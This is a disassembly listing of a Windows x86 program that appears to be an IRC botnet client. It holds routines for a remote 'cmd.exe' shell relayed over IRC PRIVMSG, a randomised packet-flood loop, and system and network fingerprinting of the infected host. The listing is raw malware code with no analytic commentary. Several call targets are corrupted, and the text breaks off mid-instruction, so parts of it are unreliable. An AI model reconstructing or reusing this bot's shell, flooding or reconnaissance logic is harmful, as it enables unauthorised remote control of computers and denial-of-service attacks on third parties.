sub_40BF6D push [ebp+var_30] call sub_417078 pop ecx pop ecx push edi nop call near ptr 2610350h loc_40B044: ; CODE XREF: sub_40AF86+5Fj cmp eax, ebx jz short loc_40B054 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_4], eax jmp short loc_40B057 ; --------------------------------------------------------------------------- loc_40B054: ; CODE XREF: sub_40AF86+C0j mov [ebp+var_4], esi loc_40B057: ; CODE XREF: sub_40AF86+CCj push 1Ch lea eax, [ebp+var_20] push ebx push eax call sub_417330 or [ebp+var_18], 0FFFFFFFFh mov eax, 0FFDCh add esp, 0Ch cmp [ebp+var_3C], eax jle short loc_40B077 mov [ebp+var_3C], eax loc_40B077: ; CODE XREF: sub_40AF86+ECj cmp [ebp+var_38], edi jge short loc_40B07F mov [ebp+var_38], edi loc_40B07F: ; CODE XREF: sub_40AF86+F4j xor esi, esi cmp [ebp+var_40], ebx jle short loc_40B0AC loc_40B086: ; CODE XREF: sub_40AF86+124j push [ebp+var_38] lea eax, [ebp+var_20] push 1Ch push eax push ebx lea eax, [ebp+var_10320] push [ebp+var_3C] push eax push [ebp+var_4] push [ebp+arg_0] call dword_43ACBC inc esi cmp esi, [ebp+var_40] jl short loc_40B086 loc_40B0AC: ; CODE XREF: sub_40AF86+FEj push [ebp+arg_0] call dword_43AE50 lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_344] push offset unk_42DA9C push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_28], ebx jnz short loc_40B0F5 push ebx lea eax, [ebp+var_344] push [ebp+var_2C] push eax lea eax, [ebp+var_140] push eax push [ebp+var_144] call sub_40D679 add esp, 14h loc_40B0F5: ; CODE XREF: sub_40AF86+14Dj lea eax, [ebp+var_344] push eax call sub_40BF6D push [ebp+var_30] call sub_417078 pop ecx pop ecx push ebx nop call near ptr 2610350h sub_40AF86 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B112 proc near ; DATA XREF: sub_40EE72+2FA9o var_10312 = byte ptr -10312h var_10310 = byte ptr -10310h var_334 = byte ptr -334h var_134 = dword ptr -134h var_130 = byte ptr -130h var_B0 = byte ptr -0B0h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10310h call sub_417B30 mov eax, [ebp+arg_0] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp+var_134] rep movsd push 1 pop esi mov [eax+120h], esi call near ptr 26108B1h nop push eax call sub_417302 pop ecx push 11h push 2 push 2 call dword_43AE18 mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_B0] mov [ebp+var_10], 2 push eax call dword_43ADD8 cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jnz short loc_40B1F7 lea eax, [ebp+var_B0] push eax call dword_43AE1C cmp eax, edi jnz short loc_40B1F0 lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_334] push offset dword_42DB4C push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_18], edi jnz short loc_40B1D3 push edi lea eax, [ebp+var_334] push [ebp+var_1C] push eax lea eax, [ebp+var_130] push eax push [ebp+var_134] call sub_40D679 add esp, 14h loc_40B1D3: ; CODE XREF: sub_40B112+9Fj lea eax, [ebp+var_334] push eax call sub_40BF6D push [ebp+var_20] call sub_417078 pop ecx pop ecx push esi nop call near ptr 2610350h loc_40B1F0: ; CODE XREF: sub_40B112+7Fj mov eax, [eax+0Ch] mov eax, [eax] jmp short loc_40B1FA ; --------------------------------------------------------------------------- loc_40B1F7: ; CODE XREF: sub_40B112+6Ej lea eax, [ebp+arg_0] loc_40B1FA: ; CODE XREF: sub_40B112+E3j mov eax, [eax] cmp [ebp+var_24], edi mov [ebp+var_C], eax jnz short loc_40B215 call sub_41730C cdq mov ecx, 0FFDCh idiv ecx inc edx push edx jmp short loc_40B218 ; --------------------------------------------------------------------------- loc_40B215: ; CODE XREF: sub_40B112+F0j push [ebp+var_24] loc_40B218: ; CODE XREF: sub_40B112+101j call dword_43AD98 cmp [ebp+var_24], esi mov [ebp+var_E], ax jge short loc_40B22A mov [ebp+var_24], esi loc_40B22A: ; CODE XREF: sub_40B112+113j mov eax, 0FFFFh cmp [ebp+var_24], eax jle short loc_40B237 mov [ebp+var_24], eax loc_40B237: ; CODE XREF: sub_40B112+120j mov eax, [ebp+var_30] push 0Ah cdq pop ecx idiv ecx cmp [ebp+var_28], edi mov [ebp+var_30], eax jnz short loc_40B24B mov [ebp+var_28], esi loc_40B24B: ; CODE XREF: sub_40B112+134j xor esi, esi cmp [ebp+var_2C], edi jle short loc_40B26C loc_40B252: ; CODE XREF: sub_40B112+158j call sub_41730C cdq mov ecx, 0FFh idiv ecx inc esi cmp esi, [ebp+var_2C] mov [ebp+esi-10311h], dl jl short loc_40B252 loc_40B26C: ; CODE XREF: sub_40B112+13Ej ; sub_40B112+19Cj ... mov eax, [ebp+var_30] dec [ebp+var_30] test eax, eax jle short loc_40B2CB push 0Bh pop esi loc_40B279: ; CODE XREF: sub_40B112+197j lea eax, [ebp+var_10] push 10h push eax push edi call sub_41730C push 0Ah cdq pop ecx idiv ecx mov eax, [ebp+var_2C] sub eax, edx push eax lea eax, [ebp+var_10310] push eax push ebx call dword_43ADFC push [ebp+var_28] nop call near ptr 2620000h dec esi jnz short loc_40B279 cmp [ebp+var_24], edi jnz short loc_40B26C call sub_41730C cdq mov ecx, 0FFDCh idiv ecx inc edx push edx call dword_43AD98 mov [ebp+var_E], ax jmp short loc_40B26C ; --------------------------------------------------------------------------- loc_40B2CB: ; CODE XREF: sub_40B112+162j lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_334] push offset dword_42DB10 push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_18], edi jnz short loc_40B30B push edi lea eax, [ebp+var_334] push [ebp+var_1C] push eax lea eax, [ebp+var_130] push eax push [ebp+var_134] call sub_40D679 add esp, 14h loc_40B30B: ; CODE XREF: sub_40B112+1D7j lea eax, [ebp+var_334] push eax call sub_40BF6D push [ebp+var_20] call sub_417078 pop ecx pop ecx push edi call near ptr 2610350h nop sub_40B112 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40B328 proc near ; CODE XREF: sub_40B358+2Ap ; sub_40B390+7Ep ... mov eax, dword_43B0E4 push esi mov esi, dword_424078 cmp eax, 0FFFFFFFFh jz short loc_40B33C push eax call esi loc_40B33C: ; CODE XREF: sub_40B328+Fj mov eax, dword_43B0EC cmp eax, 0FFFFFFFFh jz short loc_40B349 push eax call esi loc_40B349: ; CODE XREF: sub_40B328+1Cj mov eax, dword_43B0E0 cmp eax, 0FFFFFFFFh jz short loc_40B356 push eax call esi loc_40B356: ; CODE XREF: sub_40B328+29j pop esi retn sub_40B328 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B358 proc near ; CODE XREF: sub_40C351+14Ap ; sub_40EE72+4881p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_417AB0 pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+arg_0] push dword_43B0E8 nop call near ptr 2640000h test eax, eax jnz short loc_40B38B call sub_40B328 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40B38B: ; CODE XREF: sub_40B358+28j push 1 pop eax leave retn sub_40B358 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B390 proc near ; CODE XREF: sub_40B417+D3p ; sub_40B417+F2p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push offset byte_436EDC push [ebp+arg_4] call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40B3D3 push 7D0h nop call near ptr 2620000h push [ebp+arg_8] lea eax, [ebp+var_200] push [ebp+arg_4] push offset aPrivmsgSS ; "PRIVMSG %s :%s\r" push eax call sub_4172B0 add esp, 10h jmp short loc_40B3EA ; --------------------------------------------------------------------------- loc_40B3D3: ; CODE XREF: sub_40B390+1Aj push [ebp+arg_8] lea eax, [ebp+var_200] push offset aS_1 ; "%s" push eax call sub_4172B0 add esp, 0Ch loc_40B3EA: ; CODE XREF: sub_40B390+41j lea eax, [ebp+var_200] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_43ADE8 test eax, eax jg short loc_40B413 call sub_40B328 loc_40B413: ; CODE XREF: sub_40B390+7Cj xor eax, eax leave retn sub_40B390 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B417 proc near ; DATA XREF: sub_40B56C+170o var_20C = byte ptr -20Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi mov esi, 200h xor edi, edi mov ebx, offset dword_43B0F0 loc_40B42F: ; CODE XREF: sub_40B417+79j ; sub_40B417+DBj push esi lea eax, [ebp+var_20C] push edi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_4] push edi push edi push eax lea eax, [ebp+var_20C] push esi push eax push dword_43B0E4 call near ptr 278047Ch nop test eax, eax jz loc_40B4FD cmp [ebp+var_4], edi jnz short loc_40B492 lea eax, [ebp+var_8] push eax push dword_43B0E0 nop call near ptr 2780000h test eax, eax jz short loc_40B488 cmp [ebp+var_8], 103h jnz loc_40B521 loc_40B488: ; CODE XREF: sub_40B417+62j push 0Ah nop call near ptr 2620000h jmp short loc_40B42F ; --------------------------------------------------------------------------- loc_40B492: ; CODE XREF: sub_40B417+4Ej xor eax, eax cmp [ebp+var_4], edi jbe short loc_40B4A9 loc_40B499: ; CODE XREF: sub_40B417+90j cmp [ebp+eax+var_20C], 0Ah jz short loc_40B4F7 inc eax cmp eax, [ebp+var_4] jb short loc_40B499 loc_40B4A9: ; CODE XREF: sub_40B417+80j mov [ebp+var_4], esi loc_40B4AC: ; CODE XREF: sub_40B417+E4j push esi lea eax, [ebp+var_20C] push edi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_C] push edi push eax push [ebp+var_4] lea eax, [ebp+var_20C] push eax push dword_43B0E4 call near ptr 26310C3h nop test eax, eax jz short loc_40B549 lea eax, [ebp+var_20C] push eax push ebx push dword_43B124 call sub_40B390 add esp, 0Ch jmp loc_40B42F ; --------------------------------------------------------------------------- loc_40B4F7: ; CODE XREF: sub_40B417+8Aj inc eax mov [ebp+var_4], eax jmp short loc_40B4AC ; --------------------------------------------------------------------------- loc_40B4FD: ; CODE XREF: sub_40B417+45j push offset dword_42DC0C push ebx push dword_43B124 call sub_40B390 push [ebp+arg_0] call sub_417078 add esp, 10h push 1 nop call near ptr 2610350h loc_40B521: ; CODE XREF: sub_40B417+6Bj call sub_40B328 push offset dword_42DBD4 push ebx push dword_43B124 call sub_40B390 push [ebp+arg_0] call sub_417078 add esp, 10h push edi call near ptr 2610350h nop loc_40B549: ; CODE XREF: sub_40B417+C3j push offset dword_42DB94 push ebx push dword_43B124 call sub_40B390 push [ebp+arg_0] call sub_417078 add esp, 10h push edi nop call near ptr 2610350h sub_40B417 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B56C proc near ; CODE XREF: sub_40C351+99p ; sub_40EE72+5774p var_378 = byte ptr -378h var_178 = byte ptr -178h var_74 = dword ptr -74h var_48 = dword ptr -48h var_44 = word ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 378h push ebx push esi push edi call sub_40B328 xor esi, esi lea eax, [ebp+var_178] push esi push eax push 104h push esi push offset aCmd_exe ; "cmd.exe" push esi call dword_43AE54 test eax, eax jz loc_40B666 push 1 lea eax, [ebp+var_1C] pop ebx mov edi, dword_424140 push esi push eax lea eax, [ebp+var_C] mov [ebp+var_1C], 0Ch push eax lea eax, [ebp+var_10] push eax mov [ebp+var_14], ebx mov [ebp+var_18], esi call edi test eax, eax jz loc_40B666 lea eax, [ebp+var_1C] push esi push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax call edi test eax, eax jz loc_40B666 mov edi, dword_42413C push 3 push esi push esi push offset dword_43B0E8 call edi push eax push [ebp+var_8] call edi push eax nop call near ptr 2780841h test eax, eax jz short loc_40B666 push 10h lea eax, [ebp+var_2C] push esi push eax call sub_417330 push 44h lea eax, [ebp+var_74] pop edi push edi push esi push eax call sub_417330 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_3C], eax mov eax, [ebp+var_C] mov [ebp+var_38], eax mov [ebp+var_34], eax lea eax, [ebp+var_2C] mov [ebp+var_74], edi push eax lea eax, [ebp+var_74] push eax push esi push esi push esi push ebx push esi mov ebx, offset byte_436EDC push esi lea eax, [ebp+var_178] push ebx push eax mov [ebp+var_48], 101h mov [ebp+var_44], si nop call near ptr 276050Eh test eax, eax jnz short loc_40B66E loc_40B666: ; CODE XREF: sub_40B56C+2Fj ; sub_40B56C+5Cj ... or eax, 0FFFFFFFFh jmp loc_40B71C ; --------------------------------------------------------------------------- loc_40B66E: ; CODE XREF: sub_40B56C+F8j push [ebp+var_4] mov edi, dword_424078 call edi mov eax, [ebp+var_10] push [ebp+var_28] mov dword_43B0E4, eax mov eax, [ebp+var_8] mov dword_43B0EC, eax mov eax, [ebp+var_2C] mov dword_43B0E0, eax call edi mov eax, [ebp+arg_0] cmp [ebp+arg_4], esi mov dword_43B124, eax jz short loc_40B6A8 push [ebp+arg_4] jmp short loc_40B6A9 ; --------------------------------------------------------------------------- loc_40B6A8: ; CODE XREF: sub_40B56C+135j push ebx loc_40B6A9: ; CODE XREF: sub_40B56C+13Aj push offset dword_43B0F0 call sub_4172B0 pop ecx pop ecx push esi push 7 push offset dword_42DC90 call sub_416D5C mov edi, eax mov ecx, [ebp+var_24] imul edi, 234h add esp, 0Ch mov dword_4407F8[edi], ecx lea ecx, [ebp+var_30] push ecx push esi push eax push offset sub_40B417 push esi push esi call near ptr 2680B9Ah nop cmp eax, esi mov dword_440804[edi], eax jnz short loc_40B71A call near ptr 2650C0Ah nop push eax lea eax, [ebp+var_378] push offset dword_42DC4C push eax call sub_4172B0 lea eax, [ebp+var_378] push eax call sub_40BF6D add esp, 10h loc_40B71A: ; CODE XREF: sub_40B56C+185j xor eax, eax loc_40B71C: ; CODE XREF: sub_40B56C+FDj pop edi pop esi pop ebx leave retn sub_40B56C endp ; =============== S U B R O U T I N E ======================================= sub_40B721 proc near ; CODE XREF: sub_407110+74p ; sub_40B8D8+217p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi nop call near ptr 26108B1h xor edx, edx mov ecx, 3E8h div ecx mov ebx, 15180h xor edx, edx mov esi, ebx mov edi, 0E10h mov ebp, edi push 3Ch mov ecx, eax sub ecx, [esp+14h+arg_0] mov eax, ecx div esi mov esi, edx xor edx, edx mov eax, esi div ebp pop ebp mov eax, edx xor edx, edx div ebp xor edx, edx push eax mov eax, esi div edi xor edx, edx mov esi, offset dword_43B12C push eax mov eax, ecx div ebx push eax push offset aDdDhDm ; "%dd %dh %dm" push 32h push esi call sub_41782A add esp, 18h mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_40B721 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B78A proc near ; CODE XREF: sub_409037+24p var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h push ebp mov ebp, esp sub esp, 94h lea eax, [ebp+var_94] push esi push eax xor esi, esi mov [ebp+var_94], 94h nop call near ptr 2791505h test eax, eax jz short loc_40B81D cmp [ebp+var_90], 4 jnz short loc_40B7F3 cmp [ebp+var_8C], esi jnz short loc_40B7DB cmp [ebp+var_84], 1 jnz short loc_40B7CE push 1 pop esi loc_40B7CE: ; CODE XREF: sub_40B78A+3Fj cmp [ebp+var_84], 2 jnz short loc_40B81D push 1 jmp short loc_40B81C ; --------------------------------------------------------------------------- loc_40B7DB: ; CODE XREF: sub_40B78A+36j cmp [ebp+var_8C], 0Ah jnz short loc_40B7E8 loc_40B7E4: ; CODE XREF: sub_40B78A+78j push 2 jmp short loc_40B81C ; --------------------------------------------------------------------------- loc_40B7E8: ; CODE XREF: sub_40B78A+58j cmp [ebp+var_8C], 5Ah jnz short loc_40B81D jmp short loc_40B80D ; --------------------------------------------------------------------------- loc_40B7F3: ; CODE XREF: sub_40B78A+2Ej cmp [ebp+var_90], 5 jnz short loc_40B81D cmp [ebp+var_8C], esi jz short loc_40B7E4 cmp [ebp+var_8C], 1 jnz short loc_40B811 loc_40B80D: ; CODE XREF: sub_40B78A+67j push 3 jmp short loc_40B81C ; --------------------------------------------------------------------------- loc_40B811: ; CODE XREF: sub_40B78A+81j cmp [ebp+var_8C], 2 jnz short loc_40B81D push 7 loc_40B81C: ; CODE XREF: sub_40B78A+4Fj ; sub_40B78A+5Cj ... pop esi loc_40B81D: ; CODE XREF: sub_40B78A+25j ; sub_40B78A+4Bj ... mov eax, esi pop esi leave retn sub_40B78A endp ; =============== S U B R O U T I N E ======================================= sub_40B822 proc near ; CODE XREF: sub_40B8D8+290p push ebx push esi push edi mov esi, 0F4240h loc_40B82A: ; CODE XREF: sub_40B822+2Fj ; sub_40B822+35j rdtsc push 3E8h mov edi, edx mov ebx, eax nop call near ptr 2620000h rdtsc sub eax, ebx push 0 sbb edx, edi push esi push edx push eax call sub_419250 mov edi, edx mov ebx, eax test edi, edi ja short loc_40B82A jb short loc_40B859 cmp ebx, esi ja short loc_40B82A loc_40B859: ; CODE XREF: sub_40B822+31j push 0 push 64h push edi push ebx call sub_4191D0 mov ecx, edx push 64h xor edx, edx mov esi, eax test ecx, ecx pop eax ja short loc_40B8CC jb short loc_40B878 cmp esi, 50h jnb short loc_40B87D loc_40B878: ; CODE XREF: sub_40B822+4Fj push 4Bh xor edx, edx pop eax loc_40B87D: ; CODE XREF: sub_40B822+54j test ecx, ecx ja short loc_40B8CC jb short loc_40B888 cmp esi, 47h jnb short loc_40B88D loc_40B888: ; CODE XREF: sub_40B822+5Fj push 42h xor edx, edx pop eax loc_40B88D: ; CODE XREF: sub_40B822+64j test ecx, ecx ja short loc_40B8CC jb short loc_40B898 cmp esi, 37h jnb short loc_40B89D loc_40B898: ; CODE XREF: sub_40B822+6Fj push 32h xor edx, edx pop eax loc_40B89D: ; CODE XREF: sub_40B822+74j test ecx, ecx ja short loc_40B8CC jb short loc_40B8A8 cmp esi, 26h jnb short loc_40B8AD loc_40B8A8: ; CODE XREF: sub_40B822+7Fj push 21h xor edx, edx pop eax loc_40B8AD: ; CODE XREF: sub_40B822+84j test ecx, ecx ja short loc_40B8CC jb short loc_40B8B8 cmp esi, 1Eh jnb short loc_40B8BD loc_40B8B8: ; CODE XREF: sub_40B822+8Fj push 19h xor edx, edx pop eax loc_40B8BD: ; CODE XREF: sub_40B822+94j test ecx, ecx ja short loc_40B8CC jb short loc_40B8C8 cmp esi, 0Ah jnb short loc_40B8CC loc_40B8C8: ; CODE XREF: sub_40B822+9Fj xor eax, eax xor edx, edx loc_40B8CC: ; CODE XREF: sub_40B822+4Dj ; sub_40B822+5Dj ... sub eax, esi sbb edx, ecx add eax, ebx adc edx, edi pop edi pop esi pop ebx retn sub_40B822 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B8D8 proc near ; CODE XREF: sub_40EE72+59EEp var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h var_4E8 = byte ptr -4E8h var_3E4 = byte ptr -3E4h var_2E8 = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7E8h push ebx push esi lea eax, [ebp+var_CC] push edi push eax mov [ebp+var_4], offset byte_436EDC mov [ebp+var_CC], 94h nop call near ptr 2791505h xor ebx, ebx cmp [ebp+var_C8], 4 jnz short loc_40B95F cmp [ebp+var_C4], ebx jnz short loc_40B93B cmp [ebp+var_BC], 1 jnz short loc_40B925 mov [ebp+var_4], offset a95 ; "95" loc_40B925: ; CODE XREF: sub_40B8D8+44j cmp [ebp+var_BC], 2 jnz loc_40B9DA mov [ebp+var_4], offset aNt ; "NT" jmp short loc_40B9AB ; --------------------------------------------------------------------------- loc_40B93B: ; CODE XREF: sub_40B8D8+3Bj cmp [ebp+var_C4], 0Ah jnz short loc_40B94D mov [ebp+var_4], offset a98 ; "98" jmp short loc_40B9A2 ; --------------------------------------------------------------------------- loc_40B94D: ; CODE XREF: sub_40B8D8+6Aj cmp [ebp+var_C4], 5Ah jnz short loc_40B99B mov [ebp+var_4], offset aMe ; "ME" jmp short loc_40B9A2 ; --------------------------------------------------------------------------- loc_40B95F: ; CODE XREF: sub_40B8D8+33j cmp [ebp+var_C8], 5 jnz short loc_40B99B cmp [ebp+var_C4], ebx jnz short loc_40B979 mov [ebp+var_4], offset a2k ; "2K" jmp short loc_40B9A2 ; --------------------------------------------------------------------------- loc_40B979: ; CODE XREF: sub_40B8D8+96j cmp [ebp+var_C4], 1 jnz short loc_40B98B mov [ebp+var_4], offset aXp ; "XP" jmp short loc_40B9A2 ; --------------------------------------------------------------------------- loc_40B98B: ; CODE XREF: sub_40B8D8+A8j cmp [ebp+var_C4], 2 mov [ebp+var_4], offset a2003 ; "2003" jz short loc_40B9A2 loc_40B99B: ; CODE XREF: sub_40B8D8+7Cj ; sub_40B8D8+8Ej mov [ebp+var_4], offset dword_42DDDC loc_40B9A2: ; CODE XREF: sub_40B8D8+73j ; sub_40B8D8+85j ... cmp [ebp+var_BC], 2 jnz short loc_40B9DA loc_40B9AB: ; CODE XREF: sub_40B8D8+61j cmp [ebp+var_B8], bl jz short loc_40B9DA lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_2E8] push [ebp+var_4] push offset dword_42DDD4 push eax call sub_4172B0 lea eax, [ebp+var_2E8] add esp, 10h mov [ebp+var_4], eax loc_40B9DA: ; CODE XREF: sub_40B8D8+54j ; sub_40B8D8+D1j ... mov ax, word_42DDD0 push 3Fh mov [ebp+var_25C], ax pop ecx xor eax, eax lea edi, [ebp+var_25A] rep stosd stosw mov eax, dword_43AC84 mov [ebp+var_C], 100h cmp eax, ebx jz short loc_40BA13 lea ecx, [ebp+var_C] push ecx lea ecx, [ebp+var_25C] push ecx call eax loc_40BA13: ; CODE XREF: sub_40B8D8+12Cj push [ebp+arg_4] call sub_40AEE0 pop ecx push eax call dword_43ADD8 mov [ebp+var_8], eax push 2 lea eax, [ebp+var_8] push 4 push eax call dword_43AD50 cmp eax, ebx jz short loc_40BA3C push dword ptr [eax] jmp short loc_40BA41 ; --------------------------------------------------------------------------- loc_40BA3C: ; CODE XREF: sub_40B8D8+15Ej push offset aCouldnTResolve ; "couldn't resolve host" loc_40BA41: ; CODE XREF: sub_40B8D8+162j lea eax, [ebp+var_3E4] push eax call sub_4172B0 pop ecx lea eax, [ebp+var_4E8] pop ecx push 104h push eax nop call near ptr 2620087h lea eax, [ebp+var_114] push 46h push eax push offset aDdMmmYyyy ; "dd:MMM:yyyy" push ebx mov esi, 409h push ebx push esi nop call near ptr 2680000h lea eax, [ebp+var_15C] push 46h push eax push offset aHhMmSs ; "HH:mm:ss" push ebx push ebx push esi nop call near ptr 2670000h push 20h lea eax, [ebp+var_38] push ebx push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_38] push eax call near ptr 27A0000h nop push ebx push ebx lea eax, [ebp+var_18] push ebx push eax lea eax, [ebp+var_4E8] push eax call sub_4192B8 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_7E8] push eax call sub_40D12A push 60h mov esi, eax pop ecx lea edi, [ebp+var_7E8] rep movsd push 60h lea esi, [ebp+var_7E8] pop ecx lea edi, [ebp+var_668] rep movsd push ebx call sub_40B721 add esp, 20h push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_114] push eax lea eax, [ebp+var_25C] push eax push [ebp+arg_4] call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_3E4] push eax lea eax, [ebp+var_4E8] push eax lea eax, [ebp+var_5E8] push [ebp+var_C0] push [ebp+var_C4] push [ebp+var_C8] push [ebp+var_4] push eax lea eax, [ebp+var_568] push eax mov eax, [ebp+var_2C] shr eax, 0Ah push ebx push eax call sub_40D01A pop ecx pop ecx push eax mov eax, [ebp+var_30] shr eax, 0Ah push ebx push eax call sub_40D01A pop ecx pop ecx push eax call sub_40B822 push edx push eax push offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"... push 200h push [ebp+arg_0] call sub_41782A mov eax, [ebp+arg_0] add esp, 50h pop edi pop esi pop ebx leave retn sub_40B8D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BB8C proc near ; CODE XREF: sub_40EE72+4555p ; sub_40EE72+5A1Fp var_8C = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi lea eax, [ebp+var_8C] push 0 push eax call sub_417330 add esp, 0Ch cmp dword_43AE80, 0 jnz short loc_40BBF8 push 0 lea eax, [ebp+var_8C] push esi push eax lea eax, [ebp+var_C] push eax call dword_43AC68 test eax, eax jnz short loc_40BBE1 lea eax, [ebp+var_8C] push offset dword_42DE50 push eax call sub_4172B0 pop ecx pop ecx loc_40BBE1: ; CODE XREF: sub_40BB8C+40j test [ebp+var_C], 1 jz short loc_40BBEE push offset dword_42DE48 jmp short loc_40BBF3 ; --------------------------------------------------------------------------- loc_40BBEE: ; CODE XREF: sub_40BB8C+59j push offset off_42DE44 loc_40BBF3: ; CODE XREF: sub_40BB8C+60j lea eax, [ebp+var_8] jmp short loc_40BC10 ; --------------------------------------------------------------------------- loc_40BBF8: ; CODE XREF: sub_40BB8C+28j mov esi, offset off_42DE40 lea eax, [ebp+var_8] push esi push eax call sub_4172B0 pop ecx lea eax, [ebp+var_8C] pop ecx push esi loc_40BC10: ; CODE XREF: sub_40BB8C+6Aj push eax call sub_4172B0 pop ecx pop ecx push [ebp+arg_4] push [ebp+arg_8] call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_8] push eax push offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s (%s). [IP Address"... push 200h push [ebp+arg_0] call sub_41782A mov eax, [ebp+arg_0] add esp, 1Ch pop esi leave retn sub_40BB8C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BC4B proc near ; DATA XREF: sub_40EE72+4974o var_65C = byte ptr -65Ch var_55C = byte ptr -55Ch var_35C = dword ptr -35Ch var_358 = byte ptr -358h var_2D8 = byte ptr -2D8h var_258 = byte ptr -258h var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = dword ptr -1D0h var_1C8 = byte ptr -1C8h var_148 = byte ptr -148h var_C8 = byte ptr -0C8h var_48 = dword ptr -48h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 65Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 65h mov esi, eax pop ecx lea edi, [ebp+var_35C] rep movsd push 1 mov edi, 80h pop esi xor ebx, ebx mov [eax+190h], esi push edi lea eax, [ebp+var_148] push ebx push eax mov [ebp+var_C], ebx mov [ebp+var_4], ebx mov [ebp+var_8], offset dword_42DF80 call sub_417330 push edi lea eax, [ebp+var_1C8] push ebx push eax call sub_417330 push edi lea eax, [ebp+var_C8] push ebx push eax call sub_417330 push 100h lea eax, [ebp+var_65C] push ebx push eax call sub_417330 push 3Ch lea eax, [ebp+var_48] pop edi push edi push ebx push eax call sub_417330 add esp, 3Ch lea eax, [ebp+var_48] mov [ebp+var_48], edi mov [ebp+var_34], esi push eax lea eax, [ebp+var_358] push ebx push eax mov [ebp+var_28], esi mov [ebp+var_20], esi mov [ebp+var_18], esi call sub_417AB0 pop ecx push eax lea eax, [ebp+var_358] push eax call dword_43ACA0 test eax, eax jz loc_40BDE5 cmp 